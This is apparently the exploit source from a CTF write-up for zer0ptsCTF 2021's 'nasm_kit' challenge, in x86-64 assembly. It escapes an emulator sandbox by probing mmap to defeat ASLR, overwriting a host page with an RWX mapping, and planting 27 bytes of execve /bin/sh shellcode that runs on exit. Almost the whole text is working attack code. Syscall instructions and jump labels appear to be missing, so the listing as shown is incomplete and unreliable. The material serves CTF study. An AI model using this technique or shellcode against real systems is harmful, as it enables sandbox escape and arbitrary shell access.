Tags: sandbox unicorn mmap 


;; General idea:
;; Code execution:
;; We abuse the fact that we can use MAP_FIXED to replace host pages.
;; We replace the third page of the "x64-emulator" ELF with our own anonymous RWX mapping.
;; ASLR Bypass:
;; We find the x64-emulator base address by brute-force:
;; The emulator mmap will fail if not mapped exactly at hint.
;; So we can "check" for existence of pages.
;; We will scan the memory under the assumption that the lowest-address
;; allocated page is the base of our binary
mov rbx, 0x555000000000 ; search base
mov rcx, 0x100000000 ; search size

; Try to mmap area
xor r9d, r9d ; offset = 0 (ignored)
mov r8d, -1 ; fd = -1 (ignored)
mov r10d, 0x22 ; MAP_ANONYMOUS | MAP_PRIVATE
mov edx, 3 ; RWX
mov rsi, rcx ; search size
mov rdi, rbx ; area we're searching for
mov eax, 9 ; mmap syscall
; If we failed - this page is mapped! This is the base.
; We store it in rbx and move on to exploitation
cmp rax, -1
je aslr_bypass_guess_next_nibble

; If we succeeded - we munmap the area and go on another iteration
mov rsi, rcx
mov rdi, rbx
mov eax, 11

; Check next page
add rbx, rcx
jmp aslr_bypass_main_loop

; We guessted correctly the nibble - guess the next nibble / finish
; If we guessed page-size granularity - we found the base in rbx
cmp rcx, 0x1000
je replace_page_to_execute_code_in_host

; Otherwise - we want to guess next nibble.
; So divide in 16 (shift-right 4 bits) the rcx (search size)
sar rcx, 4
jmp aslr_bypass_main_loop

; mmap page from the binary
xor r9d, r9d ; offset = 0 (ignored)
mov r8d, -1 ; fd = -1 (ignored)
mov edx, 7 ; RWX
mov esi, 0x1000 ; PAGE_SIZE

; binary base + 0x2000
add rbx, 0x2000
mov rdi, rbx

mov eax, 9 ; mmap syscall

; copy data to the mmap-ed page
; "_ZSt3hexRSt8ios_base" starts at offset "0x2124" from binary base
; (hence +0x124 from the page base)
mov rsi, execve_shellcode
add rbx, 0x124
mov rdi, rbx
mov ecx, 27
rep movsb

; exit(1)
; This will trigger a call to "_ZSt3hexRSt8ios_base"
mov edi, 1
mov eax, 60

; 27 bytes
db 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05


Original writeup (https://github.com/TheMaccabees/ctf-writeups/blob/master/zer0ptsCTF2021/nasm_kit/exploit.S).